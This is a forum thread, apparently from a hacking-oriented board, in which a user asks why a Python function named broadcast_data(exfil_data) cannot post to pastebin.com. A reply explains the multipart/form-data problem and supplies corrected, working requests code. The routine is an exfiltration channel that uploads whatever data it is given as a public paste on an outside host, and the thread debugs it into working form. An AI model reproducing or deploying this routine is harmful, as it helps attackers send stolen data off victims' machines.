[Python] Can't Post To Pastebin?
#1
So this issue has been bugging me and I have no idea what's wrong. It's not an issue with my code (that I know of) and I can't tell exactly what's being buggy. Basically, I'm trying to post something to pastebin in python using the requests module. But every time I run the code, pastebin responds that I can't submit empty pastes. But I've checked using pdb, and the HTTP POST data variable is exactly like it's supposed to be before sending. So idk what the problem is. Any help is appreciated. This code is pretty simple, it was more complicated (had request headers, cookies and everything) but the same problem occurred. This is a rewrite of the more complicated version.
Code:
def broadcast_data(exfil_data):
    post_data = """-----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="csrf_token_post"

    MTU4ODQ0MTkxN1MwbEJVelZhajg2dWJjOFlzVFVBbkFFRHJxd3VmYzBm
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="submit_hidden"

    submit_hidden
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_code"

    {}
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_format"

    1
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_expire_date"

    N
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_private"

    0
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_name"


    -----------------------------136035662110976823901951627671--
    """.format(exfil_data)

    paste_req = requests.post('https://pastebin.com/post.php', data=post_data)
    print(paste_req.status_code)
    print(paste_req.text)
#2
We discussed this on discord, but since I actually couldn't find any documentation about sending a multipart/form-data post without including an actual file I wanted to document the solution here.

The primary problem with the code is that Requests will send this as a standard "application/x-www-form-urlencoded" type POST. The actual data you've generated is a "multipart/form-data", interestingly though it doesn't have any files in it which is usually where this is used. You can tell as none of those lines starting with

Quote:Content-Disposition:

Contain a filename="something" param. And Requests annoying when you send it a files= will automatically use the dictionary key as the filename. For example:

Code:
requests.post(..., files={"example":"content"})

Gives us

Quote:Content-Disposition: form-data; name="example"; filename="example"

content

Hunting the documentation a bit, the files argument supports a few different possible values.

https://2.python-requests.org/en/master/...ts.request Wrote:files – (optional) Dictionary of 'name': file-like-objects (or {'name': file-tuple}) for multipart encoding upload. file-tuple can be a 2-tuple ('filename', fileobj), 3-tuple ('filename', fileobj, 'content_type') or a 4-tuple ('filename', fileobj, 'content_type', custom_headers), where 'content-type' is a string defining the content type of the given file and custom_headers a dict-like object containing additional headers to add for the file.

While not explicitly stated, if you include a None it will just skip adding the filename flag. So the following code should work for you

Code:
def broadcast_data(exfil_data):
    post_data = {
        "csrf_token_post": (None, "MTU4ODQ0MTkxN1MwbEJVelZhajg2dWJjOFlzVFVBbkFFRHJxd3VmYzBm"),
        "submit_hidden": (None, "submit_hidden"),
        "paste_code": (None, exfil_data),
        "paste_format": (None, "1"),
        "paste_expire_date": (None, "N"),
        "paste_private": (None, "0"),
        "paste_name": (None, ""),
    }

    paste_req = requests.post('https://pastebin.com/post.php', files=post_data)
    print(paste_req.status_code)
    print(paste_req.text)


Possibly Related Threads…
Thread Author Replies Views Last Post
  Hi guys, can anyone help me modify a jar file? Saddam 17 1,586 09-17-2020, 11:18 PM
Last Post: Saddam
  Random bitcoin private key generation in python illmanors 1 5,937 01-31-2019, 01:09 PM
Last Post: sleepy999
  Python check individual characters? Anthrax 4 5,208 10-31-2016, 09:19 PM
Last Post: Anthrax
  How can I get back into coding? Does anybody know effective methods? Arsenal102 6 6,021 07-02-2015, 09:16 PM
Last Post: Cryptography